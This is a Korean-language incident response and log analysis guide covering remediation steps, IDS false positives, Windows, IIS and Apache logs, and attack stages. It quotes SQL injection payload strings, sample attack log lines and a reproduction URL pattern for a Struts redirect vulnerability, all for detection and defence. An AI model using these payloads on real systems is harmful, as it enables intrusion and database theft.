침해사고에 대한 충분한 근거 자료를 확보하고 원인에 대한 분석이 완료되었다면 원인과 근거 자료를 기반으로 향후 대응 방안을 수립한다. 수립된 대응 방안에 필요한 할 일(액션 아이템)을 가능한 상세하게 구분하여 침해사고가 재발되지 않도록 방안을 제시한다.
종합적인 분석 결과를 기반으로 조직의 의사결정권자는 필요한 조치를 수행할 리소스를 확보하고 정해진 기한에 따라 이행 사항을 실행 한다.
분석 결과 보고
보고 대상을 고려해 적절한 단어와 표현 방법을 사용해 핵심 사항을 전달하는 것이 보고서 작성의 기본이다.
그렇다면 보안 위협 분석 보고서의 작성 시 가장 중요한 부분은 무엇일까? 이슈에 대한 핵심과 적절한 대응 전략이 포함되는 것은 물론 적정한 시기에 보고서가 전달 되는 것도 중요하다. 모든 주요 이슈에 대한 의사 결정이 끝나고 난 후에는 아무리 완벽한 보고서도 그 빛을 잃는다.
상황정의나 침해단계 정의 내용을 전달하여 상황 요약 전달
대응에 필요한 충분한 정보가 제공되었는가?
보고서 제공시기와 횟수가 적절한가?
보고서를 구성하는 항목은 다음과 같다. 기본적인 핵심 정보를 전달하기 위해 공통 항목에 대해 조직의 내부 정책에 따라 유형을 분류하고 보고서 작성 시 판단 기준에 따라 해당 항목을 기입한다.
피해가 확인되면 복구 방안 수립을 통해 향후 재발 방지를 위한 대응 방안을 수립하고 이행 작업을 실행 한다. 대응 방안은 공격 받은 유형에 따라 다양하게 정의 될 수 있다.
패치적용
사용 중인 응용 프로그램이나 운영체제의 취약점으로 인한 사고 발생 시에서는 개별 공급사에서 제공하는 패치를 이용해 대응 방안을 수립 하자.
<제로데이 취약점 발표> 아파치 제로데이 취약점 공식 패치 발표 (http://httpd.apache.org/download.cgi)
o 취약한 버전을 운용하고 있는 웹 서버 관리자는 Apache 2.2.20버전으로 업데이트[2] ※ Apache 1.3버전의 경우 업데이트 지원이 중단되었으므로, 해당 버전 운용자는 2.2.20버전으로 업그레이드 권고
1. 개요 o 가장 대중적으로 사용되고 있는 웹서버인 Apache에서 간단한 HTTP 요청만으로도 서버의 CPU와 Memory를 가득 채워 간단히 서비스를 마비시킬 수 있는 매우 심각한 신규 취약성이 발견되어 관리자들의 주의가 요구됨. o 공격자는 특수하게 조작된 HTTP패킷을 전송하여 아파치 서비스가 동작중인 서버의 메모리를 고갈시킬 수 있음 o 해당 취약점 정보 및 공격 도구가 공개 배포됨에 따라 웹 서버 관리자의 주의를 요함
2. 해당 시스템 o 영향 받는 소프트웨어 – Apache 2.3.x / Apache 2.2.x / Apache 2.1.x / Apache 2.0.x / Apache 1.3.x * 참고URL : http://seclists.org/bugtraq/2007/Jan/83
시스템 설정
운영 중인 애플리케이션의 취약한 설정으로 인해 사고가 발생하는 경우가 많이 있다. 관리자가 기본 설정을 변경하지 않아 공격자가 악용하는 경우나 테스트 과정에서 임시로 변경한 설정을 원복하지 않아 공격자에게 악용되는 사례도 있다.
개별 애플리케이션의 상세 대응 방안은 사용하는 애플리케이션에 종속적이다. 대표적 유형은 다음과 같다.
관리페이지
최근에도 심심치 않게 발생하는 침해 원인으로 기본 관리 페이지를 통한 공격이 발생한다. 공격자의 입장에서 보면 무작위로 자동 프로그램을 이용해 힘들이지 않고 하나만 걸리면 된다. 공격자에게 여러분이 관리하는 시스템이 당첨되는 일이 없도록 하자.
실행 권한 제거
사용자에게 파일 등록 권한을 제공하는 많은 사이트틀이 파일 실행 권한을 적절히 잘 관리하고 있다. 하지만 간혹 한번의 실수로 권한 조정을 누락하는 경우가 있는데 사용자가 업로드한 파일이 시스템에서 실행되지 않도록 권한 제한을 잊지 말자.
이행 점검
조치 해야 하는 것을 계획만 세우고 실행하지 않는 경우가 많다. 조치를 취해야 할 항목을 정의하고 해당 항목에 대한 조치 결과를 문서화해 관리 하자.
Guest 계정 사용 중단
-. 디폴트로 생성되는 Guest계정이 활성화 된 경우 사용 중단
조치결과
비활성화
N/A
공유 목록 제거
-. 기본적으로 제공되는 관리적 공유(ADMIN$, C$..) 제거
조치결과
C$, D$, ADMIN$, IPC$
N/A
취약 패스워드 변경
-. 응용 프로그램 설치 시 자동으로 설정되는 패스워드 확인 변경 -. 취약 유형: admin/admin, admin/1234
공격을 판단하기 위해 침입탐지시스템 엔진은 패킷에 포함된 데이터를 분석하거나 행위 분석을 통해 공격 여부를 판단 한다. 하지만 탐지 오류(이하 오탐이라고 함)가 없다면 좋겠지만 실제 침입탐지시스템에서 탐지된 이벤트 중 오탐(false-positive) 가능성을 배제할 수 없다.
오탐에는 여러 종류가 있다. 정상 통신에 일부 패턴이 공격 시그니처와 동일할 수도 있고, 탐지된 시그니처가 실제로 취약점이 없는 경우도 있고, 공격이 테스트 목적으로 진행 될 수도 있다. 예를 들어 보자.
시스템 명령을 탐지 하기 위해 “cmd.exe” 문자열을 모니터 한다고 가정해 보자. 우리는 cmd.exe 라는 문자열 만을 의미 있게 생각하지만 탐지 엔진에서는 “abcmd.executeable” 문자열도 동일한 의미로 해석하게 된다. 이를 오탐으로 부른다.
오탐 사례 여러 개의 포트를 사용하는 통신의 경우 네트워크 포트 스캔 시도로 탐지될 수 있다.일부 내부 시스템의 경우 ERP 시스템의 경우 SQL Injection으로 탐지될 수 있다.일부 포트의 경우 백도어로 탐지될 수 있다.
다음은 SQL Injection 공격으로 발생되는 공격 패턴이다.
newpoker’ And 1=1 And ”=’ picture’ And 1=1 And ”=’ janggi’ And 1=1 And ”=’ 2 and(char(94)+user+char(94))>0 hoola’ and(char(94)+user+char(94))>0 and ”=’ 2 and(char(94)+user+char(94))>0 3/;create table t_jiaozhu(jiaozhu varchar(200)) 2 and(char(94)+user+char(94))>0
다음 예제를 살펴보자.
select top 1 udf_v_uid_j201id from table_code where conf_en=’Y’ and pl_t in (‘3’윕‘3′) order by udf_uid desc select+*+from+abc+where+id=‘ABD’+and+userid=‘DIROR‘ Select Top 4 id,name from [test]..[sysobjects] Where xtype=char(85) order by name asc,id desc) T order by name desc,id asc SELECT * FROM facebook.graph WHERE id=‘mayson’
4가지 예제 로그가 SQL Injection과 관련된 공격으로 보일 수 있으나 실제 4개 로그 중 공격과 관련된 로그는 단 1개뿐이다. 3번째 로그가 공격 툴을 이용해 데이터베이스의 정보를 유출할 때 발생되는 로그다..
이처럼 공격과 공격이 아닌 상황에 대해 구분이 모호한 경우가 발생할 때는 시스템에 대한 이해와 해킹 유형에 대해 정확한 사전 지식이 있어야 침입시도와 침입시도가 아닌 행위에 대해 구분이 가능하다.
분석한 내역이 실제 공격으로 확인되면 해당 공격으로 인한 시스템의 피해를 점검한다. 공격 재현을 통해 시스템에 발생하는 현황을 확인하고 어떤 결과가 발생하는지 정의 한다.
로그 분석을 통한 피해 범위 확인
샘플 로그를 보자. 다음 로그는 SQL Injection 공격에 의해 피해를 받은 시스템의 로그다. 해당 로그를 통해 어떤 피해가 발생했는지 피해 범위를 정의하자.
탐지된 로그를 정확히 확인하기 위해 실행 함수(exec(@s)를 출력 함수(print(@s)로 변경해서 공격에 사용된 SQL문을 분석하자.
그림 피해범위확인
SQL 구문을 확인해 보면 데이터베이스에서 어떤 행위가 일어났는지 확인이 가능해 진다. 그럼 시스템 피해범위를 확인할 수 있다.
침입시도가 공격은 맞지만 시스템에 영향을 줄 수 없는 경우도 있다. 대부분 시스템의 취약점과 관련이 없는 공격들이 이에 해당된다. 주로 무작위 스캔 시도, 단순 포트 스캔 시도들이 해당된다.
영향도를 평가하기 위해서는 애플리케이션이나 시스템의 동작 방식에 대해 이해할 필요가 있다.
가장 많은 공격이 발생하는 웹 서비스의 경우 웹 서비스의 응답 결과에 따라 시스템에 발생한 결과는 틀려진다.
응답코드점검
웹 취약점 공격 시도의 경우는 대부분 응답코드를 통해 취약한지 여부를 판단하게 된다. 예를 들어 SQL Injection 공격을 시도하였지만, 500에러코드가 발생하지 않는다면 시스템에 취약점이 없는 경우가 대부분이고, 공격자가 파일을 업로드 시도하여 해당 파일을 요청하였지만 404 응답코드가 발생했다면 실제로 파일이 업로드 되지 않았다는 것을 의미한다. 이처럼 HTTP 통신에서 사용되는 응답코드에 대해 알지 못하면 침입시도가 성공한지 판단을 할 수 없다
단순히 공격 유형을 파악한 것으로 사고 분석이 끝나면 안되고, 피해 시스템이 취약해 내부 데이터가 유출이 되었는지, 데이터가 조작되었는지, 아니면 데이터베이스를 이용해 시스템 명령을 실행하고, 또 다른 공격을 행했는지 등 영향 범위에 대해 파악을 해야 가능한 후속조치를 취할 수 있다.
침해사고 분석 시 가장 먼저 해야 할 일은 서비스를 제공 중인 이상이 생겼는지 확인하는 것이다.
동작 점검 대상
점검 결과 체크
웹 서비스 동작 점검 애플리케이션 동작 점검
서비스 일부 중지 서비스 전체 중지 일부 네트워크 통신 단절
표 시스템 영향도 점검
서비스에 대한 영향이 없다라고 판단된 후에 공격의 영향 범위를 정의 한다.
공격 영향 범위 정의
공격에 의한 결과 도출
비정상 사용자 계정 추가 시스템 명령 실행
악성 파일 다운로드 내부 파일 노출
표 영향도 분석
영향 범위까지 파악이 되면 전체 후속 조치와 취약점을 제거하기 위한 방안을 세운다. 세부 대응방안은 공격 유형에 따라 다양하다. IT환경에 적합한 솔루션으로 대응 방안을 수립하자.
실제 대응과정에서 많은 변수와 환경적인 조건에 따라 상황이 조금씩 차이가 발생될 수 있지만 침입시도에 대해 대응하는 과정을 앞서 살펴본 과정을 거치게 된다. 침입시도에 대해 모니터를 통해 공격여부를 판단하고, 공격을 받은 시스템에 어떠한 피해가 발생했는지 확인하고, 조치 하기 방안을 세우는 과정까지가 일련의 과정이 보안사고를 분석하는 과정이다.
확인된 공격이 위험한지 아닌지 검증하는 방법은 크게 2 가지로 구분된다. 동적 분석과 정적 분석이 있다. 동적 분석은 공격 행위나 악성 프로그램을 다시 재현하여 실제 어떤 위험을 미치는지 검증하는 방법이고, 정적 분석은 재현 없이 공격 구문 또는 악성 프로그램의 바이너리 코드만을 가지고 위험 여부를 확인하는 방법이다.
공격재현
네트워크를 통해서 이뤄지는 많은 수의 공격들 중 대부분은 무작위 대상으로 취약점 여부를 시도하는 경우가 많다. 그렇기 때문에 보안 솔루션이나 시스템 로그에서 위협의 징후가 포착되었다면 실제 위협이 되는지 여부에 대해 재현을 통해 점검을 진행해야 한다.
2013년 발생했던 취약점 공격 중 위험도가 매우 높았던 공격이 아파치 취약점을 이용했던 공격이 CVE-2013-[1]2251이다. 당시 많은 수의 아파치 서버들이 해당 공격에 취약했고, 빠른 시간에 공격이 자동화된 형태로 확산 되었다.
실제 기업이나 조직에서는 해당 공격에 의한 피해를 막기 위해 운영 중인 소프트웨어의 취약점을 점검했다. 점검하는 방식은 동일한 공격 방식에 취약점 확인을 위해 특정 사이트로 리다이렉션을 시켜서 명령이 실행 되는지 확인을 통해 취약 여부를 가늠했다.
http://[target]/action.do?redirect:[redirecturl]
이처럼 공격 구문이 확보가 가능한 경우에는 동일한 방식으로 재현을 통해 운영하는 시스템의 취약점이 존재하는지 쉽게 확인 할 수 있다.
공격 유형 분석
공격 유형 분석은 체계적으로 위협에 대응하기 위해 필요한 항목 이다. 앞서 얘기 했듯이 보안 분석가는 이벤트 분석을 통해 공격 유형 및 위험도를 평가한다. 공격 유형에 맞는 대응 방안을 수립해 일관된 위협 대응 정책을 유지 한다.
공격단계별 구분
공격자는 목적 시스템에 침투하기 위해 정보를 수집하는 단계를 거친다. 이후 수집된 정보를 이용해 취약 시스템을 공격하고, 권한을 획득하는 과정을 거친다.
침입탐지시스템 이벤트 분석 시 현재 공격이 어떤 단계에 포함되는지 정의하여 대응 우선 순위를 정의 한다. 우선 순위에 따라서 대응 방식이 달라진다. 공격이 정보 수집 단계에 해당하면 사전 예방 활동에 초점을 맞춰서 사고 발생을 예방한다. 공격이 성공 또는 확산되는 상황이라면 최대한 피해복구에 초점을 맞춰 대응 한다.
다음은 단계별 공격 유형과 분석 및 대응에 필요한 점검 항목이다.
단계
공격유형
관련 이벤트 점검 및 결과
정보수집단계
Network Scan Web Scan TCP/UDP Port Scan
서비스(포트) 활성 여부에 대해 확인 시도 공격 대상 시스템에 영향이 없거나, 위험이 적은 이벤트, 분석 우선 순위가 낮다.
취약점공격단계
Email 첨부파일 Anomaly Traffic SQL Injection OS Command Injection Cross Site Scripting directory-traversal Web 취약점공격 Buffer Overflow Application 취약점공격
이벤트 분석 시 실제 공격을 시도하는 단계로 취약점공격 단계에서 공격이 성공하면 침해사고로 이어진다. 실패한 공격과 성공한 공격을 구분하는데 초점을 맞춰 분석한다. 기본 계정 또는 패스워드 취약여부 확인애플리케이션 사용여부 점검관리되지 않는 애플리케이션 점검공격 명령 실행 테스트공격 시도한 버전 및 대상 시스템 버전확인
공격성공단계
Backdoor Trojan Spyware BotNet
공격이 성공한 단계에서는 이전 단계의 취약점 공격 단계에서 실패 또는 성공한 IP가 탐지된 내역이 대부분 존재 한다. 이전 단계로 거슬러 올라가 공격 유형과 공격 대상 범위를 파악 한다 최초 이벤트 분석 시 해킹 또는 침해사고 시 자주 발생되는 시그니처에 대해 선 검색을 통해 분석 시간을 단축 한다
윈도우 시스템 점검 시 각종 애플리케이션 로그와 함께 점검하는 중요한 로그가 이벤트 로그다. 시스템점검 시 초기에 파일로 수집하는 항목 중 하나이기도 하다.
일반적으로 이벤트 로그를 점검하는 방법은 점검 대상 시스템의 로그를 파일로 저장(확장자 evt)해 점검 PC에서 불러와 분석 한다. 점검 과정에서 발생할 변경 사항을 최소화 하고, 원본 파일 손상을 막기 위해 위와 같은 방식으로 점검 한다.
그림 윈도우 이벤트 뷰어
애플리케이션 로그와 마찬가지로 이벤트 로그에 대한 기본적인 형식과 각 항목에 대한 이해가 있으면 좀더 효율적으로 분석 작업이 가능하다. 특히 이벤트 로그의 경우 이벤트 ID별로 각각이 의미하는 내용이 틀리다. 기본적으로 Windows Server 제품군 운영 체제를 실행하는 컴퓨터는 다음과 같은 세 가지 종류의 로그에 이벤트를 기록한다. 사용자의 로그인 성공/실패를 기록하는 보안로그, 시스템 구동 중에 발생되는 응용프로그램의 오류 및 특이 사항을 기록하는 응용프로그램, 드라이버 충돌 및 오류관련 로그를 기록하는 시스템 로그 총 3개의 이벤트 로그를 기록 한다.
로그 종류
설명
응용프로그램 로그
응용 프로그램 로그에는 응용 프로그램이나 프로그램에서 기록한 이벤트가 포함됩니다. 예를 들어 데이터베이스 프로그램에서 응용 프로그램 로그에 파일 오류를 기록할 수 있습니다. 로그할 이벤트는 응용 프로그램 개발자가 결정합니다.
보안 로그
보안 로그에는 파일이나 다른 개체 만들기, 열기 또는 삭제 등의 리소스 사용과 관련된 이벤트뿐만 아니라 올바른 로그온 시도 및 잘못된 로그온 시도와 같은 이벤트가 기록됩니다. 예를 들어 로그온 감사를 사용하는 경우 시스템에 로그온하려는 시도가 보안 로그에 기록됩니다.
시스템 로그
시스템 로그에는 Windows 시스템 구성 요소에서 기록한 이벤트가 포함됩니다. 예를 들어 시스템을 시작하는 동안 드라이버나 다른 시스템 구성 요소의 로드에 실패하면 시스템 로그에 기록됩니다. 시스템 구성 요소가 기록하는 이벤트 유형은 서버에 의해 미리 정해져 있습니다.
표 윈도우 기본 이벤트 로그
언급한 로그 외에도 사용 프로그램이나 환경에 따라 이벤트 로그에 추가적으로 다른 종류의 로그가 생길 수 있다. 예를 들어 윈도우 운영체제에 디렉터리 서비스를 운영하거나 파일 복제 서비스(파일서버)를 운영할 경우 해당 로그가 추가적으로 발생된다.
디렉터리 서비스 로그
디렉터리 서비스 로그에는 Windows Active Directory 서비스에서 기록한 이벤트가 포함됩니다. 예를 들어 서버와 글로벌 카탈로그 사이의 연결 문제는 디렉터리 서비스 로그에 기록됩니다.
파일 복제 서비스 로그
파일 복제 서비스 로그에는 Windows 파일 복제 서비스에서 기록한 이벤트가 포함됩니다. 예를 들어 도메인 컨트롤러가 시스템 볼륨 변경 정보로 업데이트되고 있는 동안 발생하는 파일 복제 실패와 이벤트는 파일 복제 로그에 기록됩니다.
DNS 서버 로그
DNS 서버 로그에는 Windows DNS 서비스에서 기록한 이벤트가 포함됩니다.
표 윈도우 추가 이벤트 로그
윈도우 이벤트 로그는 Windows를 시작할 때 이벤트 로그 서비스가 자동으로 시작된다. 또한 이벤트 로그에 대해 접근 권한을 설정할 수 있어서 그룹정책 편집기(gpedit.msc)를 이용해 이벤트 로그에 대한 엑세스 사용 권한을 설정 할 수 있다. 로그 훼손을 막기 위해 사용하면 좋다.
윈도우와 마찬가지로 리눅스도 여러 종류의 로그가 존재한다. OS에 의해 발생되는 로그는 물론 애플리케이션에 의해 로그가 발생하는 것은 유사하다. 일반적인 로그 종류를 살펴보면 다음과 같다.
가장 대표적인 애플리케이션 로그가 웹 로그다. 윈도우의 대표적인 애플리케이션인 인터넷정보서비스(IIS) 웹 서버 로그를 살펴보자.
IIS 로그는 속성 설정을 통해 실제 기록하고자 하는 로그항목을 선택적으로 사용할 수 있다. 로깅 속성에서 제공하는 로깅 옵션을 살펴보면 다음 표와 같다. (옵션의 버전에 따라 차이가 있다)
옵션항목
설명
기본설정
날짜
작업이 발생한 날짜를 기록
Yes
시간
작업이 발생한 시간을 기록
Yes
클라이언트 IP 주소
서버에 액세스한 클라이언트의 IP 주소를 기록
Yes
사용자 이름
서버에 액세스한 인증된 사용자의 이름을 기록. 하이픈(-)으로 표시되는 익명 사용자는 포함되지 않는다.
Yes
서비스 이름
클라이언트에서 액세스한 인터넷 서비스 및 인스턴스 번호를 기록
No
서버 이름
로그 항목이 생성된 서버의 이름을 기록
No
서버 IP
로그 항목이 생성된 서버의 IP 주소를 기록
Yes
서버 포트
클라이언트가 연결된 포트 번호를 기록
Yes
메서드
클라이언트가 시도한 작업(예: GET 명령)을 기록
Yes
URI 스템
액세스한 리소스(예: HTML 페이지, CGI 프로그램, 또는 스크립트)를 기록
Yes
URI 쿼리
클라이언트가 시도한 쿼리(있는 경우), 즉 클라이언트에서 찾으려고 한 하나 이상의 검색 문자열을 기록
Yes
프로토콜 상태
HTTP 또는 FTP 항목을 기준으로 작업 상태를 기록
Yes
프로토콜 하위 상태
HTTP 항목을 기준으로 작업의 추가 상태를 기록.
Yes
Win32 상태
Microsoft_ Windows (R) 운영 체제에서 사용하는 항목을 기준으로 작업 상태를 기록
Yes
보낸 바이트 수
서버에서 보낸 바이트 수를 기록
No
받은 바이트 수
서버에서 받은 바이트 수를 기록
No
걸린 시간
작업을 완료하는 데 걸린 시간을 기록. ODBC 로깅을 제외한 모든 로그 형식에서 걸린 시간은 다음과 같은 기술적인 문제에 따라 밀리초 단위로 기록된다. 클라이언트 요청 타임스탬프는 HTTP.sys(커널 모드 드라이버)가 요청을 분석하기 전에 첫 번째 바이트를 받을 때 초기화되고 IIS에서 보내기가 완료되면(마지막 보내기) 중지 된다. 걸린 시간은 네트워크를 통한 시간은 반영 되지않는다.
No
프로토콜 버전
클라이언트에서 사용하는 프로토콜(HTTP, FTP) 버전을 기록 HTTP의 경우 HTTP 1.0 또는 HTTP 1.1
No
호스트
호스트 헤더의 내용을 기록
No
사용자 에이전트
클라이언트에 사용되는 브라우저를 기록
Yes
쿠키
보내거나 받은 쿠키의 내용(있는 경우)을 기록
No
참조 페이지
사용자가 방문한 이전 사이트를 기록
No
표 IIS 웹 로그 형식 자료(마이크로소프트)
IIS에서 기록하는 웹 로그가 어떤 것들이고, 또 내용은 무엇인지 알아야 여러분이 로그를 점검하거나 분석할 때 정확하고 효과적으로 분석 할 수 있다. 예를 들어 웹 요청 중에 메소드 형식이 틀린 웹 로그를 검색한다고 가정해보자. 로그를 검색하기 위해서는 메소드가 무엇이고 메소드가 로그에 기록되는지 알아야 한다. 다음과 같은 로그를 찾는다고 가정하자.
물론 로그 파일을 열어 각행을 일일이 검색할 수 있다. 하지만 로그 사이즈에 따라서 일일이 검색하기 불가능할 수 있다.
효과적으로 로그를 분석하기 위해 대부분 로그 분석 툴을 이용하게 된다. 이때 웹 로그 형식을 이해하고 검색을 통해 원하는 결과를 빠른 시간에 찾는 것이 로그 분석의 핵심이다.
다음은 아파치 웹 로그 형식을 표로 설명한 자료다. IIS로깅 옵션과 마찬가지로 클라이언트 IP에서부터 시간, 메소드, 쿠키정보, 헤더정보 등 로그에 기록되는 정보는 다양하다.
다음은 아파치에 기록된 로그 예제다.
127.0.0.1 - frank [10/Oct/2000:13:55:36 -0700] "GET /apache_pb.gif HTTP/1.0" 200 2326
예제 로그의 각각의 정보들이 의미하는 내용은 다음과 같다.
127.0.0.1 (%h)
서버에 요청을 한 클라이언트(원격 호스트)의 IP 주소이다. HostnameLookups가 On이라면 호스트명을 찾아서 IP 주소 자리에 대신 쓴다. 그러나 이 설정은 서버를 매우 느리게 할 수 있으므로 추천하지 않는다. 호스트명을 알려면 대신 나중에 logresolve와 같은 로그를 처리하는 프로그램을 사용하는 것이 좋다. 여기에 나온 IP 주소는 사용자가 사용하는 컴퓨터 주소가 아닐 수 있다. 프록시 서버가 사용자와 서버사이에 존재한다면, 원래 컴퓨터 주소가 아니라 프록시의 주소가 기록될 것이다.
– (%l)
출력에서 “빼기기호”는 요청한 정보가 없음을 나타낸다. 이 경우 여기에 나올 정보는 클라이언트 컴퓨터의 identd가 제공할 클라이언트의 RFC 1413 신원이다. 이 정보는 매우 믿을 수 없기때문에, 긴밀히 관리되는 내부 네트웍이 아니라면 절대로 이 정보를 사용하면 안된다. IdentityCheck가 On이 아니라면 아파치 웹서버는 이 정보를 알아보려고 시도하지도 않는다.
frank (%u)
이는 HTTP 인증으로 알아낸 문서를 요청한 사용자의 userid이다. 보통 이 값은 CGI 스크립트에게 REMOTE_USER 환경변수로 넘겨진다. 요청의 상태코드가 401이라면 (아래 참고) 사용자가 아직 인증을 거치지 않았으므로 이 값을 믿으면 안된다. 문서를 암호로 보호하지 않는다면 이 항목은 이전 항목과 같이 “-“이다.
[10/Oct/2000:13:55:36 -0700] (%t)
서버가 요청처리를 마친 시간. 형식은: [day/month/year:hour:minute:second zone] day = 숫자 2개 month = 숫자 3개 year = 숫자 4개 hour = 숫자 2개 minute = 숫자 2개 second = 숫자 2개 zone = (`+’ | `-‘) 숫자 4개 로그 형식문자열에 %{format}t를 사용하여 다른 형식으로 시간을 출력할 수 있다. format은 C 표준 라이브러리의 strftime(3)과 같다.
“GET /apache_pb.gif HTTP/1.0″ (\”%r\”)
클라이언트의 요청줄이 쌍따옴표로 묶여있다. 요청줄은 매우 유용한 정보를 담고 있다. 첫째, 클라이언트가 사용한 메써드는 GET이다. 둘째, 클라이언트는 자원 /apache_pb.gif를 요청한다. 세번째, 클라이언트는 HTTP/1.0 프로토콜을 사용한다. 요청줄의 여러 부분을 따로 로그할 수도 있다. 예를 들어, 형식문자열 “%m %U%q %H”은 “%r”과 똑같이 메써드, 경로, 질의문자열, 프로토콜을 로그한다.
200 (%>s)
이는 서버가 클라이언트에게 보내는 상태코드이다. 이 정보는 (2로 시작하는 코드) 요청이 성공하였는지, (4로 시작하는 코드) 클라이언트에 오류가 있는지, (5로 시작하는 코드) 서버에 오류가 있는지 알려주므로 매우 중요하다. 상태코드의 전체 목록은 HTTP 규약 (RFC2616 section 10)에서 찾을 수 있다.
2326 (%b)
마지막 항목은 응답 헤더를 제외하고 클라이언트에게 보내는 내용의 크기를 나타낸다. 클라이언트에게 보내는 내용이 없다면 이 값은 “-“이다. 내용이 없는 경우 “0”을 로그하려면 대신 %B를 사용한다.
표 아파치 웹 로그 설명
예제에서 살펴본 항목 외 아파치 웹 서버에서 기록 가능한 항목이다.
형식 문자열
설명
%%
퍼센트 기호 (아파치 2.0.44 이후)
%a
원격 IP-주소
%A
(서버) IP-주소
%B
HTTP 헤더를 제외한 전송 바이트수.
%b
HTTP 헤더를 제외한 전송 바이트수. CLF 형식과 같이 전송한 내용이 없는 경우 0 대신 ‘-‘가 나온다.
%{Foobar}C
서버가 수신한 요청에서 Foobar 쿠키의 내용.
%D
요청을 처리하는데 걸린 시간 (마이크로초 단위).
%{FOOBAR}e
환경변수 FOOBAR의 내용
%f
파일명
%h
원격 호스트
%H
요청 프로토콜
%{Foobar}i
서버가 수신한 요청에서 Foobar 헤더의 내용.
%l
(있다면 identd가 제공한) 원격 로그인명. IdentityCheck가 On이 아니면 빼기기호를 기록한다.
%m
요청 메써드
%{Foobar}n
다른 모듈이 기록한 Foobar 노트(note) 내용.
%{Foobar}o
응답의 Foobar 헤더 내용.
%p
요청을 서비스하는 서버의 정규 포트
%P
요청을 서비스하는 자식의 프로세스 ID.
%{format}P
요청을 서비스하는 자식의 프로세스 ID 혹은 쓰레드 ID. format에는 pid와 tid가 가능하다. (아파치 2.0.46 이후)
%q
질의문자열 (질의문자열이 있다면 앞에 ?를 붙이고, 없다면 빈 문자열)
%r
요청의 첫번째 줄
%s
상태(status). 내부 리다이렉션된 요청의 경우 *원래* 요청의 상태이다. 최종 요청의 상태는 %…>s.
%t
common log format 시간 형식(표준 영어 형식)의 시간
%{format}t
strftime(3) 형식 format의 시간. (지역시간일 수 있음)
%T
요청을 처리하는데 걸린 시간 (초 단위).
%u
원격 사용자 (auth가 제공하며, 상태(%s)가 401인 경우 이상한 값을 나올 수 있음)
%U
질의문자열을 제외한 요청 URL 경로.
%v
요청을 서비스한 서버의 정규 ServerName.
%V
UseCanonicalName 설정에 따른 서버명.
%X
응답을 마쳤을때 연결 상태. X = 응답을 마치기 전에 연결이 끊어졌다. + = 응답을 보낸후에도 연결이 살아있다(keep alive). – = 응답을 보낸후 연결이 끊어졌다. (아파치 1.3 후반 버전에서 이 지시어는 %…c였지만, 전통적인 ssl %…{var}c 문법과 겹쳐서 변경했다.)
%I
요청과 헤더를 포함한 수신 바이트수로 0일 수 없다. 이를 사용하려면 mod_logio가 필요하다.
%O
헤더를 포함한 송신 바이트수로 0일 수 없다. 이를 사용하려면 mod_logio가 필요하다.
표 아파치 웹 로그 형식 [1]
아파치 로그 형식을 파악했으니 앞서 소개했던 로그 검색 예제를 참고해 여러분이 분석 시 상황에 맞게 원하는 결과를 검색하기 바란다.
운영체제 로그
SSH를 통한 로그인 시도에서부터 시스템에 마지막으로 로그인 했던 내역까지 시스템에 남아 있는 로그를 통해 확인이 가능하다. 대부분의 사전식 대입 시도는 “secure” 로그를 통해 확인이 가능하다. 시스템 로그 분석 시 점검하는 항목을 확인해 보자.
시스템에 로그인한 계정 정보를 점검해보자. wtmp로그는 시스템에 로그인, 로그아웃 내역을 누적해서 기록한다. 해당 항목을 통해 시스템에 로그인한 사용자, IP, 로그인 시간에 대해 확인이 가능하다. 침해사고 발생 시 공격자에 발생한 로그인 내역 분석 시 활용한다.
네트워크와 로그를 통해 분석에 필요한 정보를 충분히 확보한 후에는 이벤트 분석 작업을 수행 한다. 수집된 정보의 양이 많은 경우는 효율적인 분석을 위해 먼저 데이터를 가공하는 작업이 선행되기도 한다.
선별된 정보를 분석해 위협 징후를 확인 하고, 침해사고완 연관된 일련의 정보들을 조합 한다. 분석 과정에서는 공격과 관련된 특징으로 정보를 선별하거나 통계학적인 관점에서 임계치를 기준으로 정보를 분석 한다. 만약 침해사고와 관련된 근거 정보를 충분히 확보 할 수 없다면 정보 수집 과정을 반복할 필요가 있다. 처음 수집할 정보를 선별하는 과정에서 정보 수집 범위가 잘못됐을 수도 있고, 혹은 수집된 정보를 가공하는 과정에서 정보가 누락 됐을 수 도 있다. 이런 경우 처음 정보 수집 대상을 다시 한번 검토하고 제외된 대상에 대한 정보 재가공을 통해 분석 작업을 반복 한다.
분석 방법이 결정 되었다면 필요한 증거를 수집하게 된다. 침해사고분석에 필요한 정보는 크게 2가지 종류로 나뉜다. 보안솔루션이나 시스템에서 파일 형태로 기록하는 정보가 있고, 네트워크 통신 트래픽에서 수집되는 정보가 있다. 먼저 네트워크 통신 트래픽에서 수집되는 정보를 살펴보자.
트래픽 정보를 생각하면 우리는 단순히 패킷 캡처 파일을 떠올린다. 하지만 캡처된 파일을 좀더 자세히 살펴보면 좀더 세분화 할 수 있다.
네트워크 트래픽(Network Traffic) 분석 정보
다음 표는 네트워크 트래픽을 통해 수집할 수 있는 분석 항목 이다. 개별 항목들은 상용 또는 오픈 소스 기반의 솔루션을 통해 수집 또는 자동 분석이 가능한 항목이다.
구분
수집 항목
주요 분석 항목
통신 패킷
로우 패킷(Raw packet)
페이로드(Packet Payload)헤더정보(Packet Header)
세션 정보
트래픽 플로우(Traffic flow)
세션 연결 시간통신량(bytes, packet counts)
애플리케이션 통신
애플리케이션 파라미터
애플리케이션 정보애플리케이션 변수공격 구문
표 네트워크 트래픽 수집 항목
로그 파일 형태의 분석정보
로그 파일의 분석 정보는 좁은 의미로 해석하면 우리가 자주 사용하는 PC나 노트북 또는 서버 장비에서 기록하는 정보를 의미한다. 각각의 장비에는 운영체제가 동작하고 운영체제에 따라 관련 로그를 기록한다. 침해사고가 발생하면 운영체제에서 기록하는 로그를 수집해 이상 징후 분석에 활용 한다. 운영체제에는 사용자가 필요에 따라 설치한 응용프로그램이 동작한다. 개별 응용프로그램은 동작과 관련된 로그를 기록하게 되고 이 또한 위협 분석 시 수집되는 정보다.
구분
수집 항목
주요 분석 항목
윈도우
시스템 보안 이벤트 레지스트리 정보
이벤트 ID중요 레지스트리 수정 항목
리눅스
운영체제 로그 애플리케이션 로그
Secure 로그
애플리케이션
웹 로그
응답코드
표 로그수집항목
대표적인 엔드포인트 시스템으로 윈도우와 리눅스가 있다. 윈도우 로그는 크게 운영체제자체의 로그와 애플리케이션에 의해 발생되는 로그로 구분해 볼 수 있다. 윈도우에서 운영체제 로그의 가장 대표적인 로그는 이벤트로그다. 컴퓨터관리의 이벤트 뷰어를 통해 확인이 가능한데 운영체제의 보안로그와 시스템 로그를 제공한다. 이벤트 로그의 로그 형식과 종류에 대해서는 자세히 살펴보자.
운영체제 정보
